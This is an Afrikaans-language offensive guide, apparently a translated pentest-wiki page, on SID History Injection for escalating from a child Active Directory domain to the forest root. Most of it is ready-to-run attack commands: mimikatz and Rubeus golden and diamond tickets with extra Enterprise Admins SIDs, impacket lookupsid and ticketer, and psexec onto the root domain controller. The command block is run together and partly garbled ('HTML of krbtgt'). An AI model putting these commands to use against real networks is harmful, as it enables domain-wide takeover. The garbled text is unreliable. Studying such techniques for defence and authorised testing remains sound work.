Die fokus van die SID History Injection Aanval is om gebruikermigrasie tussen domeine te ondersteun terwyl toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur die gebruiker se vorige Veiligheidsidentifiseerder (SID) in die SID Geskiedenis van hul nuwe rekening in te sluit. Dit is belangrik om te noem dat hierdie proses gemanipuleer kan word om ongeoorloofde toegang te verleen deur die SID van 'n hoë-privilege groep (soos Enterprise Admins of Domain Admins) van die ouerdomein aan die SID Geskiedenis toe te voeg. Hierdie uitbuiting bied toegang tot alle hulpbronne binne die ouerdomein.
Twee metodes bestaan om hierdie aanval uit te voer: deur die skep van 'n Golden Ticket of 'n Diamond Ticket.
Om die SID vir die "Enterprise Admins" groep te bepaal, moet 'n mens eers die SID van die worteldomein vind. Na identifikasie kan die Enterprise Admins groep SID gebou word deur -519 aan die worteldomein se SID toe te voeg. Byvoorbeeld, as die worteldomein SID S-1-5-21-280534878-1496970234-700767426 is, sal die resulterende SID vir die "Enterprise Admins" groep S-1-5-21-280534878-1496970234-700767426-519 wees.
Jy kan ook die Domain Admins groepe gebruik, wat eindig op 512.
'n Ander manier om die SID van 'n groep van die ander domein (byvoorbeeld "Domain Admins") te vind, is met:
mimikatz.exe"kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi""exit"/useristheusernametoimpersonate (could beanything)/domainisthecurrentdomain./sidisthecurrentdomainSID./sidsistheSIDofthetargetgrouptoaddourselvesto./aes256istheAES256keyofthecurrentdomain's krbtgt account.--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option/startoffset sets the start time of the ticket to 10 mins before the current time./endin sets the expiry date for the ticket to 60 mins./renewmax sets how long the ticket can be valid for if renewed.# The previous command will generate a file called ticket.kirbi# Just loading you can perform a dcsync attack agains the domain
# Use the /sids paramRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500/groups:512/sids:S-1-5-21-378720957-2217973887-3501892633-512/krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap# Or a ptt with a golden ticketRubeus.exe golden /rc4:<krbtgt hash>/domain:<child_domain>/sid:<child_domain_sid>/sids:<parent_domain_sid>-519/user:Administrator /ptt# You can use "Administrator" as username or any other string
# This is for an attack from child to root domain# Get child domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep"Domain SID"# Get root domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep-B20"Enterprise Admins"|grep"Domain SID"# Generate golden ticketticketer.py-nthash<krbtgt_hash>-domain<child_domain>-domain-sid<child_domain_sid>-extra-sid<root_domain_sid>Administrator# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING# JUST USE THE SAME USERNAME IN THE NEXT STEPS# Load ticketexport KRB5CCNAME=hacker.ccache# psexec in domain controller of rootpsexec.py<child_domain>/Administrator@dc.root.local-k-no-pass-target-ip10.10.10.10